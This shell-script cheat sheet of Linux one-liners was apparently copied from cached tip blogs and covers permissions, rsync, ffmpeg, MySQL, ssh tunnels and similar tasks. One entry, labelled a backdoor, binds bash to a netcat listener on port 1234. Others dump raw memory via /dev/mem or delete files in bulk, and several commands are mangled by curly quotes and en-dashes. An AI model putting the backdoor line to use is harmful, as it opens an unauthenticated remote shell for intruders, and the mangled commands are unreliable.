All kind of useful Linux commands.

linux_console_commands.sh

# I book marked some sites with useful Linux commands i found.
# then i noticed they were down, so i loaded them via google cache, and copied here.
# source: http://blog.urfix.com/
# source: http://www.pixelbeat.org/cmdline.html
# Enjoy!

# How to run process as background and never die
#
# nohup means: Do not terminate this process even when the stty is cut off.
# > /dev/null means: stdout goes to /dev/null (which is a dummy device that does not record any output).
# 2>&1 means: stderr also goes to the stdout (which is already redirected to /dev/null).
# & at the end means: run this command as a background task.
nohup node server.js > /dev/null 2>&1 &

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# To recursively give directories read&execute privileges:
find /path/to/base/dir -type d -exec chmod 755 {} +

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# To recursively give files read privileges:
find /path/to/base/dir -type f -exec chmod 644 {} +

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# chmod only files in current dir
find . -type f -print0 | xargs -0 chmod 660

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# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1

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# Synchronize current directory with remote one
rsync -auz -e ssh remote:/dir/ . && rsync -auz -e ssh . remote:/dir/
# OR
rsync -avh --stats --progress package/ [email protected]:/home/user/public_html/project/package

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# Mirror web site
wget -mk -nv http://yoursite.com

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# Mirror web site (using compression and encryption)
rsync -az -e ssh --delete ~/public_html/ remote.com:'~/public_html'

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# Encrypt file
gpg -c file

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# Decrypt file
gpg file.gpg

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# Find and highlight results
find /etc/httpd | grep --color "filename"

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# Find files not readable by all (useful for web site)
find -type f ! -perm -444

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# Monitor progress of a command
# Pipe viewer is a terminal-based tool for monitoring the progress of data through a pipeline.
# It can be inserted into any normal pipeline between two processes to give a visual indication
# of how quickly data is passing through, how long it has taken, how near to completion it is,
# and an estimate of how long it will be until completion.
# Source: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/

pv access.log | gzip > access.log.gz

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# Prints a graphical directory tree from your current directory
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'

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# Deletes all files in a folder that are NOT *.foo, *.bar or *.baz files. Edit the pattern inside the brackets as you like.
rm !(*.foo|*.bar|*.baz)

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# Intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID

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# Remove duplicate entries in a file without sorting.
# Using awk, find duplicates in a file without sorting, which reorders the contents.
# awk will not reorder them, and still find and remove duplicates which you can then redirect into another file.

awk '!x[$0]++' <file>

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# Record a screencast and convert it to an mpeg
# Grab X11 input and create an MPEG at 25 fps with the resolution 800×600

ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg

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# Same, but in good quality, h264
ffmpeg -f x11grab -r 30 -s 1680x1050 -i :0.0 -vcodec libx264 -vpre hq -threads 0 -mbd rd -flags mv0 -trellis 2 -cmp 2 -subcmp 2 -g 300 -pass 1/2 -b 4000k /tmp/outputFile.mp4

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# Mount a .iso file in UNIX/Linux
# -o loop lets you use a file as a block device

mount /path/to/file.iso /mnt/cdrom -oloop

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# Convert seconds to human-readable format
# This example, for example, produces the output, “Fri Feb 13 15:26:30 EST 2009″

date -d@1234567890

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# Job Control
# You’re running a script, command, whatever.. You don’t expect it to take long, now 5pm has rolled around and you’re ready to go home...
# Wait, it’s still running! You forgot to nohup it before running it..
# Suspend it, send it to the background, then disown it...
# The output wont go anywhere, but at least the command will still run...

^Z $bg $disown

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# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile

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# Monitor the queries being run by MySQL
# Watch is a very useful command for periodically running another command –
# in this using mysqladmin to display the processlist.
# This is useful for monitoring which queries are causing your server to clog up.
# More info here: http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html

watch -n 1 mysqladmin --user=<user> --password=<password> processlist

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# Escape any command aliases
# e.g. if rm is aliased for ‘rm -i’, you can escape the alias by prepending a backslash:

\[command]

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# Show apps that use internet connection at the moment. (Multi-Language)
ss -p

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# Send pop-up notifications on Gnome
# The title is optional.
# 
# -t: expire time in milliseconds.
# -u: urgency (low, normal, critical).
# -i: icon path.
# On Debian-based systems you may need to install the ‘libnotify-bin’ package.
# Useful to advise when a wget download or a simulation ends. Example:
# wget URL ; notify-send "Done"

notify-send ["<title>"] "<body>"

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# Quickly rename a file
mv filename.{old,new}

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# Quickly backup or copy a file with bash
cp filename{,.bak}

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# Remove all but one specific file
rm -f !(survivior.txt)

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# Generate a random password 30 characters long
# Find random strings within /dev/urandom.
# Using grep filter to just Alphanumeric characters, and then print the first 30 and remove all the line feeds.

strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo

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# Run a command only when load average is below a certain threshold
# Good for one off jobs that you want to run at a quiet time.
# The default threshold is a load average of 0.8 but this can be set using atrun.

echo "rm -rf /unwanted-but-large/folder" | batch

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# <MISSING DESCRIPTION>
watch -n 1 'echo "obase=2;`date +%s`" | bc'

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# Processor / memory bandwidthd? in GB/s
# Read 32GB zero’s and throw them away.

dd if=/dev/zero of=/dev/null bs=1M count=32768

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# Backup all MySQL Databases to individual files

for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done

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# Like top, but for files
watch -d -n 2 ‘df; ls -FlAt;’

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# Download an entire website
# -p parameter tells wget to include all files, including images.
# -e robots=off you don’t want wget to obey by the robots.txt file
# -U mozilla as your browsers identity.
# –random-wait to let wget chose a random number of seconds to wait, avoid get into black list.
# Other Useful wget Parameters:
# –limit-rate=20k limits the rate at which it downloads files.
# -b continues wget after logging out.
# -o $HOME/wget_log.txt logs the output

wget –random-wait -r -p -e robots=off -U mozilla http://www.example.com

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# A very simple and useful stopwatch, <ctrl> + <d> to stop
# s:silent, n:number of characters.

time read
time read -sn1

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# Quick access to the ASCII table.
man ascii

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# Shutdown a Windows machine from Linux
# This will issue a shutdown command to the Windows machine.
# username must be an administrator on the Windows machine.
# Requires samba-common package installed.

net rpc shutdown -I ipAddressOfWindowsPC -U username%password

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# Reboot the Windows machine
net rpc shutdown -r

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# Abort shut down of the Windows machine
net rpc abortshutdown

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# Jump to a directory, execute a command and jump back to current directory.
(cd /tmp && ls)

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# Display the top ten running processes – sorted by memory usage
# ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.

ps aux | sort -nk +4 | tail

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# List of commands you use most often

history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head

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# Reboot machine when everything is hanging (raising a skinny elephant)
# If the machine is hanging and the only help would be the power button,
# this key-combination will help to reboot your machine (more or less) gracefully.
# R – gives back control of the keyboard
# S – issues a sync
# E – sends all processes but init the term singal
# I – sends all processes but init the kill signal
# U – mounts all filesystem ro to prevent a fsck at reboot
# B – reboots the system
# Save your file before trying this out, this will reboot your machine without warning!
# http://en.wikipedia.org/wiki/Magic_SysRq_key

<alt> + <print screen/sys rq> + <R> – <S> – <E> – <I> – <U> – <B>

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# Make ‘less’ behave like ‘tail -f’
# Using +F will put less in follow mode. This works similar to ‘tail -f’.
# To stop scrolling, use the interrupt. Then you’ll get the normal benefits of less (scroll, etc.).
# Pressing SHIFT-F will resume the ‘tailling’.

less +F somelogfile

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# Set audible alarm when an IP address comes online
# Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online.
# The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system.
# Vary it to your need. The -a flag tells ping to include an audible bell in the output when 
# a package is received (that is, when your server comes online).

ping -i 60 -a IP_address

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# Simulate typing
# This will output the characters at 10 per second.

echo "You can simulate on-screen typing just like in the movies" | pv -qL 10

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# This command will start a simple SMTP server listening on port 1025 of localhost.
# This server simply prints to standard output all email headers and the email body.

python -m smtpd -n -c DebuggingServer localhost:1025

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# diff two unsorted files without creating temporary files
# bash/ksh subshell redirection (as file descriptors) used as input to diff

diff <(sort file1) <(sort file2)

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# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>

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# Matrix Style
tr -c “[:digit:]” ” ” < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep –color “[^ ]“

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# This command will show you all the string (plain text) values in ram
# A fun thing to do with ram is actually open it up and take a peek.

sudo dd if=/dev/mem | cat | strings

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# Display which distro is installed
cat /etc/issue

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# Easily search running processes (alias).
alias ‘ps?’='ps ax | grep ‘

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# Create a script of the last executed command
# Sometimes commands are long, but useful, so it’s helpful to be able to make them permanent without having to retype them.
# An alternative could use the history command, and a cut/sed line that works on your platform.

echo “!!” > foo.sh

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# Extract tarball from internet without local saving

wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -

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# Create a backdoor on a machine to allow remote connection to bash
# This will launch a listener on the machine that will wait for a connection on port 1234.
# When you connect from a remote machine with something like :
# nc 192.168.0.1 1234
# You will have console access to the machine through bash. (becareful with this one)

nc -vv -l -p 1234 -e /bin/bash

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# Mount folder/filesystem through SSH
# Install SSHFS from http://fuse.sourceforge.net/sshfs.html
# Will allow you to mount a folder security over a network.

sshfs name@server:/path/to/folder /path/to/mount/point

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# Runs previous command replacing foo by bar every time that foo appears
# Very useful for rerunning a long command changing some arguments globally.
# As opposed to ^foo^bar, which only replaces the first occurrence of foo, this one changes every occurrence.

!!:gs/foo/bar

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# Currently mounted file systems in nice layout
# Particularly useful if you’re mounting different drives, using the following command will
# allow you to see all the file systems currently mounted on your computer and their respective specs
# with the added benefit of nice formatting.

mount | column -t

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# Compare a remote file with a local file
# Useful for checking if there are differences between local and remote files.

ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

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# Mount a temporary ram partition
# Makes a partition in ram which is useful if you need a temporary working space as read/write access is fast.
# Be aware that anything saved in this partition will be gone after your computer is turned off.

mount -t tmpfs tmpfs /mnt -o size=1024m

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# Query Wikipedia via console over DNS
# Query Wikipedia by issuing a DNS query for a TXT record.
# The TXT record will also include a short URL to the complete corresponding Wikipedia entry.

dig +short txt <keyword>.wp.dg.cx

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# Lists all listening ports together with the PID of the associated process
# The PID will only be printed if you’re holding a root equivalent ID.

netstat -tlnp

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# Output your microphone to a remote computer’s speaker
# This will output the sound from your microphone port to the ssh target computer’s speaker port.
# The sound quality is very bad, so you will hear a lot of hissing.

dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

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# Execute a command at a given time
# This is an alternative to cron which allows a one-off task to be scheduled for a certain time.

echo “ls -l” | at midnight

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# Update twitter via curl
curl -u user:pass -d status=”Tweeting from the shell” http://twitter.com/statuses/update.xml

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# start a tunnel from some machine’s port 80 to your local post 2001
# now you can access the website by going to http://localhost:2001/

ssh -N -L2001:localhost:80 somemachine

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# Salvage a broken terminal
# If you bork your terminal by sending binary data to STDOUT or similar,
# you can get your terminal back using this command rather than killing and restarting the session.
# Note that you often won’t be able to see the characters as you type them.

reset

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# Capture video of a Linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

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# Empty a file
# For when you want to flush all content from a file without removing it (hat-tip to Marc Kilgus).

> file.txt

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# Copy ssh keys to user@host to enable password-less ssh logins.
# To generate the keys use the command ssh-keygen

$ssh-copy-id user@host

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# Rapidly invoke an editor to write a long, complex, or tricky command
# Next time you are using your shell, try typing ctrl-x e (that is holding control key press x and then e).
# The shell will take what you’ve written on the command line thus far and paste it into the editor specified by $EDITOR.
# Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever.

<ctrl> + <x> + <e>

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# Check command history, but avoid running it
# !whatever will search your command history and execute the first command that matches ‘whatever’.
# If you don’t feel safe doing this put :p on #the end to print without executing. Recommended when running as superuser.

!whatever:p

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# mtr, better than traceroute and ping combined
# mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.
# as mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME.
# by sending packets with purposly low TTLs. It continues to send packets with low TTL,
# noting the response time of the intervening routers.
# This allows mtr to print the response percentage and response times of the internet route to HOSTNAME.
# A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link.

mtr google.com

# Create a report for 20 times
mtr google.com -l --report --report-cycles=20 >> google.com.txt

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# Run the last command as root
# Useful when you forget to use sudo for a command. “!!” grabs the last run command.

sudo !!

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# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer

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# Change to the previous working directory
cd -

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